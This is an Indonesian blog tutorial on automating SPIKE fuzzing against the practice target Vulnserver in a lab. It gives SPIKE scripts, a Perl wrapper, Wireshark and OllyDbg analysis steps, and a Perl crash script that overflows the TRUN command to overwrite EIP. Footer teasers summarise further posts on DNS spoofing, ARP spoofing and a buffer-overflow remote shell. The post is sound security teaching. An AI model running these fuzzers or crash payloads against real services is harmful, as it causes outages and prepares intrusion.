Langsung ke konten utama

Belajar Metode Fuzzing dengan SPIKE - Automasi Fuzzing

Setelah kita mulai memahami praktek dari penerapan metode fuzzing. Kita bisa beranjak ke level berikutnya. Yaitu melakukan proses otomasi fuzzing menggunakan perintah sintaks yang dimiliki oleh Vulnserver. Seperti yang telah kita ketahui sebelumnya, vulnserver menyediakan sintaks-sintaks seperti: HELP, STATS, RTIME, LTIME, SRUN, TRUN, GMON, GDOG, KSTET, GTER, HTER, LTER, KSTAN, EXIT.

Coba bayangkan saja jika terdapat seratus sintaks perintah, dan kita harus satu persatu mengujicoba dengan aplikasi Spike, kebayang ribetnya kan. Oleh karena itu kita buat sebuah skrip unutk melakukan tugas yang ribet tersebut. Jadi kita hanya tinggal tekan tombol enter, dan biarkan komputer yang menjalankannya :)


1. Buat skrip SPIKE

Oke, mari kita buat sebuah file skrip spike dan letakkan file tersebut di direktori baru dengan nama fuzzing. Beri nama file tersebut 01stats.spk. Berikut contoh skripnya:

printf("HELP 01stats.spk: "); //print to the terminal command and filename
s_readline(); //print received line from server
s_string("STATS "); //send "STATS " to program
s_string_variable("COMMAND"); //send fuzzed string

Oke, selanjutnya, buat file skrip spike lainnya untuk sintaks RTIME, LTIME, SRUN, TRUN, GMON, GDOG, KSTET, GTER, HTER, LTER, KSTAN. Sehingga kita akan memiliki 12 skrip spike.


2. Buat skrip trigger

Setelah kita membuat skrip spike untuk masing-masing sintaks, saatnya kita buat skrip robotnya (maksudnya skrip automasinya :p ). beri nama file untuk skrip tersebut fuzzer.pl . Berikut contoh skripnya:

#!/usr/bin/perl
# Simple wrapper to run multiple .spk files using generic_send_tcp

$spikese = '/pentest/fuzzers/spike/src/generic_send_tcp';

if ($ARGV[4] eq '') {
        die("Usage: $0 IP_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n");
}

$skipfiles = $ARGV[2];

@files = <*.spk>;

foreach $file (@files) {
        if (! $skipfiles) {
                if (system("$spikese $ARGV[0] $ARGV[1] $file $ARGV[3] $ARGV[4]") ) {
                        print "Stopped processing file $file\n";
                        exit(0);
                }
        } else {
                $skipfiles--;
        }
}

Dari skrip di atas, ini menurut si pembuatnya, skrip ini akan menjalankan semua file dengan ektensi .spk di direktori yang sama. Jadi skrip ini hanya sebagai trigger untuk menjalankan semua file skrip spike di folder fuzzing. Untuk format menjalankan di konsol adalah,

<nama file> <ip target> <port> <skipfiles> <skipvar> <skipstr>

nah untuk skipfiles, kita dapat melakukan skip terhadap file spk yang tidak akan dijalankan dengan memasukkan nomor urut file yang akan di-skip.


3. Jalankan skrip Spike

Tahap selanjutnya adalah saatnya kita menjalankan skrip fuzzer.pl , tapi jangan lupa ubah permission file fuzzer.pl (chmod 755) dan jalankan aplikasi vulnserver menggunakan OllyDbg di komputer target dan lakukan filter traffick di aplikasi wireshark seperti yang dijelaskan di artikel sebelumnya.

Selanjutnya ketikkan di konsole sintaks berikut:

root@bt:~/fuzzing# ./fuzzer.pl 192.168.136.1 9999 0 0 0

Silahkan tunggu, dan perhatikan kapan pesan selamat datang dari aplikasi vulnserver terakhir muncul. Atau anda juga bisa memperhatikan di aplikasi vulnserver sampai dia crash atau tidak bisa melayani request dari komputer attacker. Jika aplikasi vulnserver crash, tekan tombol Ctrl+C untuk menghentikan proses fuzzing fi komputer attacker.


4. Identifikasi konten penyebab crash

Pada saat vulnserver mengalami crash, maka tampilan di aplikasi OllyDbg, maka akan tampil seperti gambar berikut:

Dari gambar di atas, terlihat aplikasi vulnserver mengalami crash saat spike mengirimkan variabel TRUN. Ditandai dengan keterangan status "Access violation when executing (41414141).....".

Untuk mengetahui konten apa yang dikirim oleh spike sehingga vulnserver,
  1. buka aplikasi wireshark, 
  2. pilih paket yang paling terakhir,
  3. klik menu Edit -> Find Packet. Kemudian pada dialog box yang muncul, pilih by String, field Filter diisi Welcome, Search in Packet Bytes, dan direction Up. Lalu klik tombol Find.



    Lalu pilih paket yang paling pertama, lakukan follow tcp stream seperti yang dijelaskan di artikel sebelumnya, sehingga akan muncul seperti gambar berikut:



    Lalu pada box pull down pada jendela Follw TCP Stream, pilih yang 5009 bytes, kemudian klik tombol Save as, simpan di folder tmp dengan nama file "trun-data.txt."



    Sekarang kita telah menyimpan isi konten yang menyebabkan aplikasi vulnserver crash. Selanjutnya kita coba kirimkan kembali data tersebut untuk mengetahui bagaimana aplikasi vulnserver crash.
     
5. Replika konten penyebab aplikasi crash

Sebelumnya, restart dulu aplikasi vulnserver melalui aplikasi OllyDbg dan restart wireshark dengan filter options yang sama. 
  1. Buka console, ketikkan sintaks berikut

    root@bt:~/fuzzing# sed ‘s/A//g’ /tmp/trun-data.txt
    TRUN /.:/root@bt:~/fuzzing#
    

    Sintak di atas adalah memperlihatkan karakter apa saja yang terdapat dalam file tersebut karakter A, yaitu karakter TRUN /.:/

  2. Hitung panjang karakter selain karakter A di file trun-data.txt

    root@bt:~/fuzzing# sed ‘s/A//g’ /tmp/trun-data.txt | wc -m
    

    sehingga akan menghasilkan 9 karakter.
  3. Hitung jumlah panjang karakter keseluruhan dalam file trun-data.txt

    root@bt:~/fuzzing# wc -m trun-data.txt

    maka hasilnya adalah 5009 /tmp/trun-data.txt.Jadi keseluruhan panjang karakter dalam file trun-data.txt adalah 5009 karakter
  4. Buat skrip perl sebagai trigger agar vulnserver crash

    Selanjutnya buat skrip seperti berikut dan simpan dengan nama trun.pl:

    #!/usr/bin/perl
    use IO::Socket;
    
    if ($ARGV[1] eq '') {
            die("Usage: $0 IP_ADDRESS PORT\n\n");
    }
    
    $baddata = "TRUN /.:/";
    $baddata .= "A" x 5000;
    
    $socket = IO::Socket::INET->new(
            Proto    => "tcp",
            PeerAddr => "$ARGV[0]",
            PeerPort => "$ARGV[1]"
    ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";
    
    $socket->recv($serverdata, 1024);
    print "$serverdata";
    
    $socket->send($baddata);
    

    dari skrip di atas, variabel baddata berisikan karakter-karakter yang kita peroleh dari proses identifikasi sebelumnya. dimana skrip tersebut akan mengirimkan karakter TRUN /.:/ dan karakter A sebanyak 5000 kali.

    lalu coba jalankan file tersebut pada konsol, dengan sintaks sebagai berikut:

    root@bt:~/fuzzing# ./trun.pl 192.168.136.1 9999

    dan perhatikan pada aplikasi OllyDbg, terlihat terjadi acces violation 41414141 seperti pada gambar di bawah ini



    Perhatikan nilai EIP di kolom Register pada aplikasi OllyDbg menunjukkan kode 41414141 dimana kode tersebut adalah interpretasi dari 0x41414141 adalah 4 karakter A. Dari sini sudah dapat dilihat bahwa bug tersebut dapat dijadikan celah oleh hacker untuk menguasai komputer target.
Sebagai tantangan, coba teman-teman lakukan hal sama seperti diatas dengan sintaks lainnya untuk menemukan bug pada aplikasi vulnserver menggunakan aplikasi Spike. Untuk artikel bagaimana mengeksploitasi bug untuk menguasai komputer target, silahkan tunggu artikel saya selanjutnya.

Selamat mencoba :)

src
download source code



Komentar

Postingan populer dari blog ini

DNS Spoofing

DNS Spoofing adalah salah satu metode hacking Man In The Middle Attack (MITM). Hampir sama konsepnya dengan ARP Spoofing, tapi yang membedakan adalah Attacker akan memalsukan alamat IP dari sebuah domain. DNS adalah Domain Name Server, yaitu server yang digunakan untuk mengetahui IP Address suatu host lewat host name-nya. Dalam dunia internet, komputer berkomunikasi satu sama lain dengan mengenali IP Address-nya. Namun bagi manusia tidak mungkin menghafalkan IP address tersebut, manusia lebih mudah menghapalkan kata-kata seperti www.yahoo.com, www.google.com, atau www.facebook.com. DNS berfungsi untuk mengkonversi nama yang bisa terbaca oleh manusia ke dalam IP addresshost yang bersangkutan untuk dihubungi. Jadi ketika target melakukan request terhadap sebuah alamat domain dengan alamat IP A, dengan DNS Spoofing, oleh gateway request user tersebut akan di forward ke alamat IP palsu dari attacker. Oke, saatnya kita kita mencoba melakukan DNS Spoofing dengan menggunakan aplikasi

ARP Spoofing (Soft Way)

Jika artikel saya sebelumnya mencoba menjelaskan langkah-langkah melakukan ARP Spoofing dengan cara konvensional tanpa bantuan tools khusus (istilah lebay nya hard way ), kali ini saya akan mencoba lagi berbagi cara melakukan ARP Spoofing dengan menggunakan tool ARP Spoofing yaitu Ettercap. ARP Spoofing adalah sebuah teknik penyadapan oleh pihak ketiga yang dilakukan dalam sebuah jaringan LAN. Dengan metode tersebut,  attacker  dapat menyadap transmisi, modifikasi trafik, hingga menghentikan trafik komunikasi antar dua mesin yang terhubung dalam satu jaringan lokal (LAN).

Remote Shell Memanfaatkan Buffer Overflow Exploitation

Pada artikel Belajar Metode Fuzzing dengan SPIKE - Automasi Fuzzing , kita telah mengetahui bug  pada aplikasi vulnserver dengan mentode fuzzing. Salah satu bug pada aplikasi tersebut adalah ketika kita mengirimkan perintah TRUN dan diikuti karakter-karakter tertentu yang pada akhirnya mengakibatkan vulnserver mengalami crash atau access violation. Menurut Mati Aharoni (founder Backtrack), sebelum melakukan exploit terhadap bugs dari buffer overflow exploitation kita harus mempelajari bagaimana aplikasi tersebut mengalami crash dan memahaminya dengan lebih baik. Ada beberapa pertanyaan yang perlu dijawab: